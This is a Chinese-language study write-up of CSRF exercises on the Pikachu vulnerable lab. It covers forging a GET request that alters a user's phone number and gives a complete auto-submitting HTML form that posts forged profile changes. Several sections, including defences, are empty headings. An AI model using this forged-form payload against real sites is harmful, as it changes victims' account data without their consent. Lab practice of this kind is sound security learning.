csrf
csrf漏洞概念

csrf攻击满足的条件
1,网站没有对个人信息修改的请求进行防csrf处理,导致请求容易被伪造
2,用户在登录后台的情况下,点击了攻击者发送的链接,如果用户没登陆或没点链接都不会成功
csrf与xss的区别

如何确认一个web系统存在csrf漏洞

模仿用户从登录到信息修改的过程
先登录

点击修改个人信息

随意修改一下信息然后提交

发现有csrf的get请求
所以知道这一点我们就可以利用修改信息的url来进行攻击
随便输出一个弹窗

看一下数据库

可以看到科比的电话已经被我修改了,当此用户登录的时候就会执行这个弹窗
csrf(post)login
当提交方式是post时
和xss的post型攻击差不多,攻击者构造一个自己的攻击站点,当用户点击时,就会向服务器提交post修改个人信息
这里使用别人写的script,放到pikachu-master/doge_csrf上,代码如下
<html> 2 <head> 3 <script> 4 window.onload = function() { 5 document.getElementById("postsubmit").click(); 6 } 7 </script> 8 </head> 9 <body> 10 <form method="post" action="http://192.168.21.10/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php"> 11 <input id="sex" type="text" name="sex" value="boy" /> 12 <input id="phonenum" type="text" name="phonenum" value="54213" /> 13 <input id="add" type="text" name="add" value="hacker" /> 14 <input id="email" type="text" name="email" value="allen@pikachu.com" /> 15 <input id="postsubmit" type="submit" name="submit" value="submit" /> 16 </form> 17 </body> 18 </html>
不知道上面原因一点击提交就会跳到http://192.168.21.10/pikachu-master/vul/csrf/csrfpost/csrf_get_login.php里面,虽然post.html里面写的是

但是思路就是这样,他做完这样的伪装后,你在登录你的账号,里面的信息就会显示post里面的内容
出现上面的原因是因为
你没有登录就打开了post,应该先登录然后把所有csrfget里面的内容复制到csrfpost里面去,然后在打开你弄的网站就可以了
csrf token
这个的难题主要是获取token

以我现在的能力还不能破解如果想要破解请参考以下内容
这里我只能介绍一下token
Token 是在服务端产生的。如果前端使用用户名/密码向服务端请求认证,服务端认证成功,那么在服务端会返回 Token 给前端。前端可以在每次请求的时候带上 Token 证明自己的合法地位。如果这个 Token 在服务端持久化(比如存入数据库),那它就是一个永久的身份令牌。这里他的token是变得而且每次刷新之后都会又新的值
csrf的防范措施
